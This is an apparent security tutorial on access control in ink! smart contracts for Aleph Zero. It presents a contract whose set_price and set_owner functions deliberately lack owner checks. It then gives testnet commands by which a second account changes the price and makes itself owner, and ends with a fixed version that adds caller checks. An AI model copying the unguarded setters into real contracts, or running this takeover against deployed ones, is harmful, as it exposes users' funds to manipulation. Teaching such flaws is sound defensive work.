Lesson 5 - Role-Based Access Control

Introduction

This lesson targets the importance of verifying who can access or call the different functions of your Aleph Zero smart contract.

Prerequisites

To be able to understand and complete this lesson, we believe that the minimum requirement should be the completion of Lesson 1 - Getting Started. If you desire to be even more prepared please have a look at the official website of ink!.

Objectives and Outcomes

In this lesson you will learn:

  • What access control means in web3;

  • The consequences of a bad access control implementation;

  • How to exploit poorly implemented access control in practice;

  • How to mitigate an attack on access control.

Exercise

Vulnerable Smart contract

Access control in smart contracts protect the access to functions or state. Having no access control could result to having external users modifying the global state of your contract in an undesired way and break the logic of your smart contract.

For example, Bob developed an application that he would like to deploy on Aleph Zero. To achieve his goal, he decided to implement his smart contract in the following way.

Consider a contract that sets a value or a state at construction that is intended to only be modified by the owner of the contract. This contract has two messages that are publicly accessible: set_price and set_owner.

#![cfg_attr(not(feature = "std"), no_std)]


#[ink::contract]
mod price {
    use ink::storage::Mapping;
   
    #[ink(storage)]
    #[derive(Default)]
    pub struct Price {
        total_supply: u32,
        price: u32,
        owner: AccountId,
        balances: Mapping<AccountId, u32>,
        
    }
    impl Price {
        #[ink(constructor)]
        pub fn new(supply: u32, price: u32) -> Self {
            let mut balances = Mapping::default();
            let caller = Self::env().caller();
            balances.insert(caller, &supply);
              Self{ 
                total_supply:supply,
                price : price,
                balances,
                owner: caller,
              }
            
        }

        #[ink(message)]
        pub fn total_supply(&self) -> u32 {
            self.total_supply
        }
        #[ink(message)]
        pub fn set_price(&mut self, price: u32) {
            self.price = price
        }
        #[ink(message)]
        pub fn get_price(&self) -> u32 {
            self.price
        }

        #[ink(message)]
        pub fn get_owner(&self) -> AccountId {
            self.owner
        }
        #[ink(message)]
        pub fn set_owner(&mut self, new_owner: AccountId) {
            self.owner = new_owner
        }
        /// Simply returns the current value of our `bool`.
        #[ink(message)]
        pub fn balance_of(&self, account: AccountId) -> u32 {
            match self.balances.get(&account) {
                Some(value) => value,
                None => 0,
            }
        }

        pub fn inflation(&mut self) {
            self.total_supply += 999_999
        }

        #[ink(message)]
        pub fn transfer(&mut self, recipient: AccountId, amount: u32) {
            let sender = self.env().caller();
            let sender_balance = self.balance_of(sender);
            if sender_balance < amount {
                return;
            }
            self.balances.insert(sender, &(sender_balance - amount));
            let recipient_balance = self.balance_of(recipient);
            self.balances.insert(recipient, &(recipient_balance + amount));
        }
    }

    #[cfg(test)]
mod tests {
    use crate::price::Price;
    use ink::env::{test, DefaultEnvironment};

    #[ink::test]
    fn contract_construction() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let price = Price::new(1000, 10);
        assert_eq!(price.total_supply(), 1000);
        assert_eq!(price.get_price(), 10);
        assert_eq!(price.get_owner(), accounts.alice);
    }

    #[ink::test]
    fn access_to_non_message_functions() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(100_000, 100);
        let starting_supply = price.total_supply;
        // run non-message function `inflation` to add 999_999 to total_supply
        price.inflation();
        assert_eq!(price.total_supply, starting_supply + 999_999 )
    }

    #[ink::test]
    fn non_owner_set_price() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(10000, 100);
        // price set to 100 by alice at construction
        // change caller to bob
        test::set_caller::<DefaultEnvironment>(accounts.bob);
        //bob's attempt to set price and panic will result
        price.set_price(10);
        assert_eq!(price.get_price(), 10);
    }
    #[ink::test]
    fn non_owner_change_owner() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(10000, 100);
        // owner = alice
        // change caller to bob
        test::set_caller::<DefaultEnvironment>(accounts.bob);
        // attempt to set owner to bob and panic will result
        price.set_owner(accounts.bob);
        assert_eq!(price.get_owner(), accounts.bob);
    }
    #[ink::test]
    fn owner_change_owner() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(10000, 100);
        price.set_owner(accounts.django);
        assert_eq!(price.get_owner(), accounts.django);
        
        
    }
    #[ink::test]
    fn owner_change_price() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(10000, 100);
        price.set_price(50);
        assert_eq!(price.get_price(), 50);
        
    }
}
}

Unfortunately, Bob did not follow the security guidelines.

What are the security vulnerabilities in the code presented in above?

==- Hint Please have a look at the function set_price and set_owner

==- Answer The price and the owner of the smart contract can be modified by any user. ==- Let’s discuss the consequences of the vulnerabilities. Can you think of a way to exploit those vulnerabilities?

Simulated Attack

Please download the executable of the contract here, deploy it on Aleph Zero testnet (https://test.azero.dev/ ) and try to attack it. Any

Did you succeed? Yes! Well done, if not please do not worry and have a look at the proposed attack below.

==- Attack

Setup

To simulate you will need two founded accounts, please watch the video of [Course_04](add link) if you do not know how to do it.

cargo install cargo-contract --version 2.0.0-beta.1
cargo contract new price
cd price 

then copy paste the code above into the lib.rs file

cargo +nightly test -- --nocapture

Tests Output

running 6 tests
test price::tests::non_owner_change_owner ... ok
test price::tests::access_to_non_message_functions ... ok
test price::tests::owner_change_owner ... ok
test price::tests::contract_construction ... ok
test price::tests::non_owner_set_price ... ok
test price::tests::owner_change_price ... ok

Build and Deploy to Testnet

Using Cargo Contract Command line

cargo +nightly contract build --release
export SEED="[put your 12 words seed phrase here]"
export URL="wss://ws.test.azero.dev"
cargo contract instantiate --suri "$SEED" --url "$URL" \
        --constructor new \
        --args 1000 450

Output

 Dry-running new (skip with --skip-dry-run)
    Success! Gas required estimated at Weight(ref_time: 513761328, proof_size: 0)
Confirm transaction details: (skip with --skip-confirm)
 Constructor new
        Args 1000 450
   Gas limit Weight(ref_time: 513761328, proof_size: 0)
Submit? (Y/n): y
    Contract 5D3U2wgaBKaYDA7459TPrCJZ8LBVfTA44JLf5W1WRHuE1bey
      Events
      ....
export CONTRACT="5D3U2wgaBKaYDA7459TPrCJZ8LBVfTA44JLf5W1WRHuE1bey"
cargo contract call --suri "$SEED" --url "$URL"  --contract "$CONTRACT"  --message get_price --dry-run

Output

    Result Success!
    Reverted false
    Data Tuple(Tuple { ident: Some("Ok"), values: [UInt(450)] })

Set price with second account($SEED2)

cargo contract call --suri "$SEED2" --url "$URL"  --contract "$CONTRACT"  --message set_price --args 10    
cargo contract call --suri "$SEED" --url "$URL"  --contract "$CONTRACT"  --message get_price --dry-run 
    Result Success!
    Reverted false
    Data Tuple(Tuple { ident: Some("Ok"), values: [UInt(10)] })

User with $SEED2 sets themselves to owner

cargo contract call --suri "$SEED2" --url "$URL"  --contract "$CONTRACT"  --message set_owner --args "5HiyV1tUmLy4ARX4tUk9eqMRt1D2dAc7WSPLLK22oAk6aoPK" 
cargo contract call --suri "$SEED" --url "$URL"  --contract "$CONTRACT"  --message get_owner --dry-run
    Result Success!
    Reverted false
    Data Tuple(Tuple { ident: Some("Ok"), values: [Literal("5HiyV1tUmLy4ARX4tUk9eqMRt1D2dAc7WSPLLK22oAk6aoPK")] })

Using Contracts-UI from substrate.io

Go to https://contracts-ui.substrate.io/

Add New Contract

Upload money.contract from the target/ink directory and click next

Set the supply to 10000 and the price to 450 and click next

Click Upload and Instantiate

The price is 450

The owner is justinTest or 5EZTBFJJxgSFwSALjVitwzmuiTDzT5JjxoYmmaejo9ueBUwt

The price being changed to 10 by just2

The price is set to 10

just2 setting themself to owner

The Owner is now 5HiyV1tUmLy4ARX4tUk9eqMRt1D2dAc7WSPLLK22oAk6aoPK ==-

Secure Solution

Now we have discovered the problem and its consequences. Let's talk about the secure way of developing the smart contract.

Any idea? Let's look at the solution!

==- Solution Verify for the desired function that the owner of the smart contract is also the caller of the function by checking self.owner == self.env().caller(). It is important to know that you could also give access to other users. ==-

You can see below a secure way to implement the smart contract that Bob desired.

==- Reveal Secure Implementation

# Secure Smart Contract
#![cfg_attr(not(feature = "std"), no_std)]


#[ink::contract]
mod price {
    use ink::storage::Mapping;
   
    #[ink(storage)]
    #[derive(Default)]
    pub struct Price {
        total_supply: u32,
        price: u32,
        owner: AccountId,
        balances: Mapping<AccountId, u32>,
        
    }
    impl Price {
        #[ink(constructor)]
        pub fn new(supply: u32, price: u32) -> Self {
            let mut balances = Mapping::default();
            let caller = Self::env().caller();
            balances.insert(caller, &supply);
              Self{ 
                total_supply:supply,
                price : price,
                balances,
                owner: caller,
              }
            
        }

        #[ink(message)]
        pub fn total_supply(&self) -> u32 {
            self.total_supply
        }
        #[ink(message)]
        pub fn set_price(&mut self, price: u32) {
            if self.owner == self.env().caller() {
                self.price = price
            }
        }
        #[ink(message)]
        pub fn get_price(&self) -> u32 {
            self.price
        }

        #[ink(message)]
        pub fn get_owner(&self) -> AccountId {
            self.owner
        }
        #[ink(message)]
        pub fn set_owner(&mut self, new_owner: AccountId) {
            if self.owner == self.env().caller() {
                self.owner = new_owner
            }
        }
        /// Simply returns the current value of our `bool`.
        #[ink(message)]
        pub fn balance_of(&self, account: AccountId) -> u32 {
            match self.balances.get(&account) {
                Some(value) => value,
                None => 0,
            }
        }

        pub fn inflation(&mut self) {
            self.total_supply += 999_999
        }

        #[ink(message)]
        pub fn transfer(&mut self, recipient: AccountId, amount: u32) {
            let sender = self.env().caller();
            let sender_balance = self.balance_of(sender);
            if sender_balance < amount {
                return;
            }
            self.balances.insert(sender, &(sender_balance - amount));
            let recipient_balance = self.balance_of(recipient);
            self.balances.insert(recipient, &(recipient_balance + amount));
        }
    }

    #[cfg(test)]
mod tests {
    use crate::price::Price;
    use ink::env::{test, DefaultEnvironment};

    #[ink::test]
    fn contract_construction() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let price = Price::new(1000, 10);
        assert_eq!(price.total_supply(), 1000);
        assert_eq!(price.get_price(), 10);
        assert_eq!(price.get_owner(), accounts.alice);
    }

    #[ink::test]
    fn access_to_non_message_functions() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(100_000, 100);
        let starting_supply = price.total_supply;
        // run non-message function `inflation` to add 999_999 to total_supply
        price.inflation();
        assert_eq!(price.total_supply, starting_supply + 999_999 )
    }

    #[ink::test]
    fn non_owner_set_price() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(10000, 100);
        // price set to 100 by alice at construction
        // change caller to bob
        test::set_caller::<DefaultEnvironment>(accounts.bob);
        //bob's attempt to set price and no change since bob is not an owner
        price.set_price(10);
        assert_eq!(price.get_price(), 100); 
    }
    #[ink::test]
    fn non_owner_change_owner() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(10000, 100);
        // owner = alice
        // change caller to bob
        test::set_caller::<DefaultEnvironment>(accounts.bob);
        // attempt to set owner to bob and no change since owner is alice.
        price.set_owner(accounts.bob);
        assert_eq!(price.get_owner(), accounts.alice);
    }
    #[ink::test]
    fn owner_change_owner() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(10000, 100);
        price.set_owner(accounts.django);
        assert_eq!(price.get_owner(), accounts.django);
        
        
    }
    #[ink::test]
    fn owner_change_price() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(10000, 100);
        price.set_price(50);
        assert_eq!(price.get_price(), 50);
        
    }
}
}

==- If you want can verify that this new source code secures the smart contract by replaying the attack over that has been done above.

Question

If you are up to the challenge, see if you know the answer to this question:

True or false: Which other identity than the contract owner could be allowed to modified the price of the token?

==- Answers False. For example, an oracle if the price depends of some date external to the blockchain. ==-

Last updated